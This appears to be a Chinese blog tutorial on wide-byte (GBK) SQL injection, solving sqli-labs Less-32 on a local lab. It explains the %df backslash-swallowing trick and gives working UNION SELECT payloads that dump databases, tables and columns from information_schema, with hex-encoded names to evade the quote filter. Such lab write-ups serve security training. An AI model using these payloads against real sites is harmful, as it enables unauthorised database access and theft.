宽字节注入-sql-lib

**

宽字节注入原理:

**

一、
原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。我们在过滤 ’ 的时候,往往利用的思路是将 ‘ 转换为 \’ 。因此我们在此想办法将 ’ 前面添加的 \ 除掉,一般有两种思路:
1、%df 吃掉 \ 具体的原因是 urlencode(’) = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此事%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
2、将 \’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5c给注释掉。这也是 bypass 的一种方法
二、
接下来我们进行实战演练:
1.首先我们像往常一样输入参数并加一个‘,看一下是否回显报错。查看源码我们得知:函数为过滤 ‘ \ 的函数,将 ‘ 转为 \’ , 将 \ 转为 \ ,将 “ 转为 \”。
在这里插入图片描述 2.http://127.0.0.1/sqli-labs-master/Less-32/?id=1�’ --+ 看到页面显示正常。
在这里插入图片描述3.http://127.0.0.1/sqli-labs-master/Less-32/?id=1�’ order by 3 --+ order by 4时显示不正常。3时显示正常,证明有三个回显位置。
在这里插入图片描述4.http://127.0.0.1/sqli-labs-master/Less-32/?id=-1�’ union select 1,2,group_concat(schema_name) from information_schema.schemata --+ 爆出所有的数据库 注意在使用union联合查询的时候前面的1要变为-1,而且在爆出数据库的时候要使用group_concat(),因为我们在前面输入‘报错的时候可以看到报错语句后面出现了 limit 0,1.
在这里插入图片描述5.爆出表
在这里插入图片描述http://127.0.0.1/sqli-labs-master/Less-32/?id=-1�’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
但是我们在爆出表的时候遇到了一些问题,我们在选择数据库的时候用的语句是table_schema=’'seurity",显而易见本关已经过滤掉了“”所以我们用“”没有用,因此在这里我们可以将我们选择的数据库转换成十六进制的形式。进而绕过过滤函数。同时我们也可以将数据库的名字转变成database()。
6.爆出字段
http://127.0.0.1/sqli-labs-master/Less-32/?id=-1�’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

在这里插入图片描述7.爆出字段
在这里插入图片描述至此,sql-lib32关到此结束。
(编码工具推荐小葵编码工具)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值